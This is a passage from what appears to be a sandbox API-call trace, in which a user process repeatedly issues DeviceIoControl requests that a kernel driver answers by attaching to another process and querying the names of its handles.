(ApcState=0xfffff880052335d0) [0093.044] PsReleaseProcessExitSynchronization () returned 0x2 [0093.044] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.044] ObQueryNameString (in: Object=0xfffff8a001fb78d0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.044] ObfDereferenceObject (Object=0xfffff8a001fb78d0) returned 0x1 [0093.044] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.044] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.044] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.044] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.044] PsAcquireProcessExitSynchronization () returned 0x0 [0093.044] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.044] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001faea00, HandleInformation=0x0) returned 0x0 [0093.044] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.044] PsReleaseProcessExitSynchronization () returned 0x2 [0093.044] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.044] ObQueryNameString (in: Object=0xfffff8a001faea00, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.044] ObfDereferenceObject (Object=0xfffff8a001faea00) returned 0x1 [0093.044] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.045] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.045] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.045] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.045] PsAcquireProcessExitSynchronization () returned 0x0 [0093.045] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.045] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00202e5c0, HandleInformation=0x0) returned 0x0 [0093.045] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.045] PsReleaseProcessExitSynchronization () returned 0x2 [0093.045] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.045] ObQueryNameString (in: Object=0xfffff8a00202e5c0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.045] ObfDereferenceObject (Object=0xfffff8a00202e5c0) returned 0x1 [0093.045] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.045] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.045] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.045] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.045] PsAcquireProcessExitSynchronization () returned 0x0 [0093.045] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.045] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001efae00, HandleInformation=0x0) returned 0x0 [0093.045] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.045] PsReleaseProcessExitSynchronization () returned 0x2 [0093.045] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.045] ObQueryNameString (in: Object=0xfffff8a001efae00, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.045] ObfDereferenceObject (Object=0xfffff8a001efae00) returned 0x1 [0093.045] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.045] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.045] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.045] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.045] PsAcquireProcessExitSynchronization () returned 0x0 [0093.045] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.045] ObReferenceObjectByHandle (in: Handle=0x430, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001ffee10, HandleInformation=0x0) returned 0x0 [0093.046] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.046] PsReleaseProcessExitSynchronization () returned 0x2 [0093.046] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.046] ObQueryNameString (in: Object=0xfffff8a001ffee10, ObjectNameInfo=0xfffffa80020ec044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020ec044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.046] ObfDereferenceObject (Object=0xfffff8a001ffee10) returned 0x1 [0093.046] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.046] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.046] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.046] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.046] PsAcquireProcessExitSynchronization () returned 0x0 [0093.046] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.046] ObReferenceObjectByHandle (in: Handle=0x440, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020161d0, HandleInformation=0x0) returned 0x0 [0093.046] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.046] PsReleaseProcessExitSynchronization () returned 0x2 [0093.046] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.046] ObQueryNameString (in: Object=0xfffff8a0020161d0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.046] ObfDereferenceObject (Object=0xfffff8a0020161d0) returned 0x1 [0093.046] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.046] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.046] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.046] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.046] PsAcquireProcessExitSynchronization () returned 0x0 [0093.046] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.046] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001feb740, HandleInformation=0x0) returned 0x0 [0093.046] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.046] PsReleaseProcessExitSynchronization () returned 0x2 [0093.046] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.046] ObQueryNameString (in: Object=0xfffff8a001feb740, ObjectNameInfo=0xfffffa8002108044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002108044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.046] ObfDereferenceObject (Object=0xfffff8a001feb740) returned 0x1 [0093.046] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.046] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.046] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.047] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.047] PsAcquireProcessExitSynchronization () returned 0x0 [0093.047] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.047] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001b713e0, HandleInformation=0x0) returned 0x0 [0093.047] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.047] PsReleaseProcessExitSynchronization () returned 0x2 [0093.047] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.047] ObQueryNameString (in: Object=0xfffff8a001b713e0, ObjectNameInfo=0xfffffa8002109044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002109044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.047] ObfDereferenceObject (Object=0xfffff8a001b713e0) returned 0x1 [0093.047] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.047] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.047] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.047] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.047] PsAcquireProcessExitSynchronization () returned 0x0 [0093.047] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.047] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fab170, HandleInformation=0x0) returned 0x0 [0093.047] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.047] PsReleaseProcessExitSynchronization () returned 0x2 [0093.047] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.047] ObQueryNameString (in: Object=0xfffff8a001fab170, ObjectNameInfo=0xfffffa800210d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800210d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.047] ObfDereferenceObject (Object=0xfffff8a001fab170) returned 0x1 [0093.047] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.047] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.047] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.047] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.047] PsAcquireProcessExitSynchronization () returned 0x0 [0093.047] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.047] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001cb0690, HandleInformation=0x0) returned 0x0 [0093.047] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.047] PsReleaseProcessExitSynchronization () returned 0x2 [0093.047] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.047] ObQueryNameString (in: Object=0xfffff8a001cb0690, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.048] ObfDereferenceObject (Object=0xfffff8a001cb0690) returned 0x1 [0093.048] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.048] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.048] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.048] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.048] PsAcquireProcessExitSynchronization () returned 0x0 [0093.048] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.048] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f9f600, HandleInformation=0x0) returned 0x0 [0093.048] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.048] PsReleaseProcessExitSynchronization () returned 0x2 [0093.048] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.048] ObQueryNameString (in: Object=0xfffff8a001f9f600, ObjectNameInfo=0xfffffa800211e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211e044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.048] ObfDereferenceObject (Object=0xfffff8a001f9f600) returned 0x1 [0093.048] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.048] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.048] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.048] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.048] PsAcquireProcessExitSynchronization () returned 0x0 [0093.048] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.048] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002039e50, HandleInformation=0x0) returned 0x0 [0093.048] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.048] PsReleaseProcessExitSynchronization () returned 0x2 [0093.048] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.048] ObQueryNameString (in: Object=0xfffff8a002039e50, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.048] ObfDereferenceObject (Object=0xfffff8a002039e50) returned 0x1 [0093.048] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.048] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.048] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.048] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.048] PsAcquireProcessExitSynchronization () returned 0x0 [0093.048] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.049] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fa75a0, HandleInformation=0x0) returned 0x0 [0093.049] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.049] PsReleaseProcessExitSynchronization () returned 0x2 [0093.049] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.049] ObQueryNameString (in: Object=0xfffff8a001fa75a0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.049] ObfDereferenceObject (Object=0xfffff8a001fa75a0) returned 0x1 [0093.049] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.049] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.049] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.049] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.049] PsAcquireProcessExitSynchronization () returned 0x0 [0093.049] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.049] ObReferenceObjectByHandle (in: Handle=0x4c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002046630, HandleInformation=0x0) returned 0x0 [0093.049] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.049] PsReleaseProcessExitSynchronization () returned 0x2 [0093.049] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.049] ObQueryNameString (in: Object=0xfffff8a002046630, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.049] ObfDereferenceObject (Object=0xfffff8a002046630) returned 0x1 [0093.049] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.049] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.049] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.049] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.049] PsAcquireProcessExitSynchronization () returned 0x0 [0093.049] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.049] ObReferenceObjectByHandle (in: Handle=0x4d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fe05a0, HandleInformation=0x0) returned 0x0 [0093.049] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.049] PsReleaseProcessExitSynchronization () returned 0x2 [0093.049] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.049] ObQueryNameString (in: Object=0xfffff8a001fe05a0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.049] ObfDereferenceObject (Object=0xfffff8a001fe05a0) returned 0x1 [0093.049] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.050] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.050] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.050] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.050] PsAcquireProcessExitSynchronization () returned 0x0 [0093.050] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.050] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fcc4a0, HandleInformation=0x0) returned 0x0 [0093.050] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.050] PsReleaseProcessExitSynchronization () returned 0x2 [0093.050] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.050] ObQueryNameString (in: Object=0xfffff8a001fcc4a0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.050] ObfDereferenceObject (Object=0xfffff8a001fcc4a0) returned 0x1 [0093.050] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.050] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.050] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, 